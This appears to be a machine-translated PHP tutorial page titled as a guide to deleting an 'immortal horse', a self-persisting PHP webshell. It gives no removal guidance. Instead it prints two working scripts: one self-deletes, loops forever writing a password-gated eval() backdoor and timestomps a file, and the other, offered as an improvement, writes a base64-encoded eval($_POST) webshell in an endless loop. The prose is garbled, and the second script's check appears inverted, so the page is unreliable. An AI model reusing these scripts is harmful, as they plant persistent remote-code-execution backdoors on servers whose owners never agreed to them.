Home >Backend Development >PHP Problem >How to delete php immortal horse
What is the Immortal Horse?
The memory horse, in layman's terms, is the immortal horse, which runs a program that never exits and resides in the PHP process, executing indefinitely.
Generation process (Recommended learning: PHP video tutorial)
无死马.php → Upload to server → Server execution file → Server local unlimited Loop generation (one sentence.php)
无死马circulated on the Internet
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '2.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>
无死马circulated on the Internet, while does not judge this file If it exists, then I only need to comment out the shell in this file to bypass your memory Trojan.
The correct posture should be like this:
Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) { file_put_contents($file, $code); } usleep(50); }?>
The above is the detailed content of How to delete php immortal horse. For more information, please follow other related articles on the PHP Chinese website!